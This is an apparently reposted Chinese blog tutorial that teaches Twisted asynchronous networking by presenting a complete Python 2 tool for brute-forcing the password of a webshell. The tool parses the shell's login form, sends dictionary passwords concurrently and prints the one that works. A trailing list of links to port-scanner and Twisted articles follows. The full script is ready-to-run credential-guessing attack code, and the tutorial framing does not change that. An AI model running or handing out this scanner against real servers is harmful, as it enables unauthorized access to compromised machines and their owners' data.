利用Python的Twisted框架实现webshell密码扫描器的教程

好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。

iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。

同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。

异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。

具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术

1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser

2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下

  cj = cookielib.CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
  resp = opener.open(req, timeout=60)  

  strlist = resp.read()

代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典

3.异步的页面请求,这里用了twisted的getpage片段如下:

  self.PostDATA[self.passw] = passl
    #print temp
  zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
  zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)

可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)

以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass

4.协程并发,代码如下:

    def InitTask(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        yield d 

  def DoTask(self):
      deferreds = []
      coop = task.Cooperator()
      work = self.InitTask()
      for i in xrange(self.ThreadNum):
        d = coop.coiterate(work)
        deferreds.append(d)
      dl = defer.DeferredList(deferreds)

就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个

 # -*- coding: utf-8 -*-
  #coding=utf-8 

  #
  #
  # code by icefish
  # http://insight-labs.org/
  # http://wcf1987.iteye.com/
  #
  from twisted.internet import iocpreactor
  iocpreactor.install()
  from twisted.web.client import getPage
  from twisted.internet import defer, task
  from twisted.internet import reactor
  import os
  from httplib import HTTPConnection
  import urllib
  import urllib2
  import sys
  import cookielib
  import time
  import threading
  from Queue import LifoQueue
  #import httplib2
  from sgmllib import SGMLParser
  import os
  from httplib import HTTPConnection
  import urllib
  import urllib2
  import sys
  import cookielib
  import time
  import threading
  from Queue import LifoQueue
  from sgmllib import SGMLParser  

  class URLLister(SGMLParser):
    def __init__(self):
      SGMLParser.__init__(self)
      self.input = {}
    def start_input(self, attrs):
      #print attrs 

      for k, v in attrs:
        if k == 'type':
          type = v
        if k == 'name':
          name = v
        if k == 'value':
          value = v
      if type == 'hidden' and value != None:
        self.input[name] = value
      if type == 'password' :
        self.input['icekey'] = name 

  class webShellPassScan(object):
    def __init__(self, url, dict):
      self.url = url
      self.ThreadNum = 10
      self.dict = dict
    def getInput(self, url):
      html, c = self.PostUrl(url, '')
      parse = URLLister()
      parse.feed(html)
      return parse.input 

    def PostUrl(self, url, bodyfieleds):
      try:   

        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
        resp = opener.open(req, timeout=60)  

        strlist = resp.read()
        cookies = []
        for c in cj:
          cookies.append(c.name + '=' + c.value) 

        return strlist, cookies
      except : 

        return '' 

    def parse_page(self, data, url, passk):
      #print url 

      self.TestNum = self.TestNum + 1
      if data != self.sret and len(data) != 0 and data != 'iceerror':
        self.timeEnd = time.time()
        print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))
        print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'
        print 'total Scan Passwords:' + str(self.TestNum)
        print "*************************the key pass***************************\n"
        print passk
        print "*************************the key pass***************************\n"
        reactor.stop() 

      if self.TestNum % 1000 == 0:
            #print TestNum
            sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')
            sys.stdout.flush() 

    def fetch_error(self, error, url, passl):
      self.addURL(passl)
    def run(self): 

        self.timeStart = 0
        self.timeEnd = 0
        self.TestNum = 0
        self.sret = ''
        print '\n\ndetect the WebShell URL:' + self.url
        self.PassNum = 0 

        self.timeStart = time.time()
        print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))
        filepath = os.path.abspath(os.curdir)
        file = open(filepath + "\\" + self.dict)
        self.passlist = [] 

        for lines in file:
          self.passlist.append(lines.strip())
          #print lines.strip()
        file.close()
        PassNum = len(self.passlist)
        print 'get passwords num:' + str(PassNum) 

        inputdic = self.getInput(self.url)
        self.passw = inputdic['icekey']
        del inputdic['icekey']
        self.PostDATA = dict({self.passw:'icekey'}, **inputdic)
        self.sret, cookies = self.PostUrl(self.url, self.PostDATA)
        self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
        self.headers['cookies'] = cookies
        print 'cookies:' + str(cookies) 

        self.DoTask()
        #self.DoTask2()
        #self.DoTask3()
        print 'start run'
        self.key = 'start'
        reactor.run() 

    def InitTask(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        yield d 

    def InitTask2(self):
      for passl in self.passlist[:]:
        d = self.sem.run(self.addURL, passl)
        self.deferreds.append(d) 

    def InitTask3(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        self.deferreds.append(d) 

    def DoTask(self):
      deferreds = []
      coop = task.Cooperator()
      work = self.InitTask()
      for i in xrange(self.ThreadNum):
        d = coop.coiterate(work)
        deferreds.append(d)
      dl = defer.DeferredList(deferreds)
      #dl.addErrback(self.errorCall)
      #dl.addCallback(self.finish) 

    def DoTask2(self): 

      self.deferreds = []
      self.sem = defer.DeferredSemaphore(self.ThreadNum)
      self.InitTask2()
      dl = defer.DeferredList(self.deferreds) 

    def DoTask3(self): 

      self.deferreds = [] 

      self.InitTask3()
      dl = defer.DeferredList(self.deferreds) 

    def addURL(self, passl): 

      self.PostDATA[self.passw] = passl
        #print temp
      zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
      zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)  

      return zs 

  a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')
  a.run()
(0)

相关推荐

  • 实例探究Python以并发方式编写高性能端口扫描器的方法

    关于端口扫描器 端口扫描工具(Port Scanner)指用于探测服务器或主机开放端口情况的工具.常被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上的可运作的网络服务. 端口扫描定义是客户端向一定范围的服务器端口发送对应请求,以此确认可使用的端口.虽然其本身并不是恶意的网络活动,但也是网络攻击者探测目标主机服务,以利用该服务的已知漏洞的重要手段.端口扫描的主要用途仍然只是确认远程机器某个服务的可用性. 扫描多个主机以获取特定的某个端口被称为端口清扫(Portsweep),以此获取特

  • 使用Python编写简单的端口扫描器的实例分享

    单线程实现 单线程实现道理比较简单,这里尝试Soket连接3389,连接成功说明端口开放,否则说明没有开远程服务.随便修改了一下就ok了,代码如下,最终得到自己的IP地址. #!/usr/bin/env python import socket if __name__=='__main__': port=3389 s=socket.socket() for cnt in range(253,2,-1): address='XXX.XXX.XXX.'+str(cnt) #XXX.XXX.XXX I

  • 使用Python3制作TCP端口扫描器

    在渗透测试的初步阶段通常我们都需要对攻击目标进行信息搜集,而端口扫描就是信息搜集中至关重要的一个步骤.通过端口扫描我们可以了解到目标主机都开放了哪些服务,甚至能根据服务猜测可能存在某些漏洞. TCP端口扫描一般分为以下几种类型: TCP connect扫描:也称为全连接扫描,这种方式直接连接到目标端口,完成了TCP三次握手的过程,这种方式扫描结果比较准确,但速度比较慢而且可轻易被目标系统检测到. TCP SYN扫描:也称为半开放扫描,这种方式将发送一个SYN包,启动一个TCP会话,并等待目标响应

  • Python实现简易端口扫描器代码实例

    在网上的一些资料的基础上自己又添了些新内容,算是Python socket编程练手吧. #coding=utf-8 import socket import time import sys import struct import threading from threading import Thread,activeCount results=[] def portScanner(ip,port): server = (ip,port) sockfd = socket.socket(sock

  • 利用Python的Twisted框架实现webshell密码扫描器的教程

    好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我. iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,

  • python开发实例之Python的Twisted框架中Deferred对象的详细用法与实例

    Deferred对象在Twsited框架中用于处理回调,这对于依靠异步的Twisted来说十分重要,接下来我们就以实例解析Python的Twisted框架中Deferred对象的用法 Deferred对象结构 Deferred由一系列成对的回调链组成,每一对都包含一个用于处理成功的回调(callbacks)和一个用于处理错误的回调(errbacks).初始状态下,deffereds将由两个空回调链组成.在向其中添加回调时将总是成对添加.当异步处理中的结果返回时,Deferred将会启动并以添加时

  • python基于twisted框架编写简单聊天室

    本文实例为大家分享了使用python的twisted框架编写一个简单的聊天室具体代码,供大家参考,具体内容如下 下面是基本架构 代码: # -*- coding:utf-8 -*- from twisted.internet.protocol import Factory from twisted.protocols.basic import LineReceiver from twisted.internet import reactor user = {} class ChatReci(Li

  • 教你利用Python破解ZIP或RAR文件密码

    一.破解原理 其实原理很简单,一句话概括就是「大力出奇迹」,Python 有两个压缩文件库:zipfile 和 rarfile,这两个库提供的解压缩方法 extractall()可以指定密码,这样的话首先生成一个密码字典(手动或用程序),然后依次尝试其中的密码,如果能够正常解压缩表示密码正确. 二.实验环境 本文采取的虚拟环境为 Pipenv. 库 zipfile:Python 标准库,使用时直接导入即可 rarfile:Python 第三方库 利用 Pipenv 安装 rarfile pipe

  • 使用Python的Twisted框架构建非阻塞下载程序的实例教程

    第一个twisted支持的诗歌服务器 尽管Twisted大多数情况下用来写服务器代码,但为了一开始尽量从简单处着手,我们首先从简单的客户端讲起. 让我们来试试使用Twisted的客户端.源码在twisted-client-1/get-poetry.py.首先像前面一样要开启三个服务器: python blocking-server/slowpoetry.py --port 10000 poetry/ecstasy.txt --num-bytes 30 python blocking-server

  • Python的Twisted框架上手前所必须了解的异步编程思想

    前言 最近有人在Twisted邮件列表中提出诸如"为任务紧急的人提供一份Twisted介绍"的需求.值得提前透露的是,这个系列并不会如他们所愿.尤其是介绍Twisted框架和基于Python 的异步编程而言,可能短时间无法讲清楚.因此,如果你时间紧急,这恐怕不是你想找的资料. 我相信如果对异步编程模型一无所知,快速的介绍同样无法让你对其有所理解,至少你得稍微懂点基础知识吧.我已经用Twisted框架几年了,因此思考过我当初是怎么学习它(学得很慢)并发现学习它的最大难度并不在Twiste

  • 剖析Python的Twisted框架的核心特性

    一. reactor twisted的核心是reactor,而提到reactor不可避免的是同步/异步,阻塞/非阻塞,在Dave的第一章概念性介绍中,对同步/异步的界限有点模糊,关于同步/异步,阻塞/非阻塞可参见知乎讨论.而关于proactor(主动器)和reactor(反应堆),这里有一篇推荐博客有比较详细的介绍. 就reactor模式的网络IO而言,应该是同步IO而不是异步IO.而Dave第一章中提到的异步,核心在于:显式地放弃对任务的控制权而不是被操作系统随机地停止,程序员必须将任务组织成

  • 使用Python的Twisted框架实现一个简单的服务器

    预览   twisted是一个被设计的非常灵活框架以至于能够让你写出非常强大的服务器.这种灵活的代价是需要好通过好几个层次来实现你的服务器, 本文档描述的是Protocol层,你将在这个层次中执行协议的分析和处理,如果你正在执行一个应用程序,那么你应该在读过top level的为twisted写插件一节中的怎样开始写twisted应用程序之后阅读本章.这个文档只是和TCP,SSL和Unix套接字服务器有关,同时也将有另一份文档专门讲解UDP.   你的协议处理类通常是twisted.intern

  • 详解Python的Twisted框架中reactor事件管理器的用法

    铺垫 在大量的实践中,似乎我们总是通过类似的方式来使用异步编程: 监听事件 事件发生执行对应的回调函数 回调完成(可能产生新的事件添加进监听队列) 回到1,监听事件 因此我们将这样的异步模式称为Reactor模式,例如在iOS开发中的Run Loop概念,实际上非常类似于Reactor loop,主线程的Run Loop监听屏幕UI事件,一旦发生UI事件则执行对应的事件处理代码,还可以通过GCD等方式产生事件至主线程执行. 上图是boost对Reactor模式的描绘,Twisted的设计就是基于

  • 使用Python的Twisted框架编写简单的网络客户端

    Protocol   和服务器一样,也是通过该类来实现.先看一个简短的例程: from twisted.internet.protocol import Protocol from sys import stdout class Echo(Protocol): def dataReceived(self, data): stdout.write(data) 在本程序中,只是简单的将获得的数据输出到标准输出中来显示,还有很多其他的事件没有作出任何响应,下面 有一个回应其他事件的例子: from t

随机推荐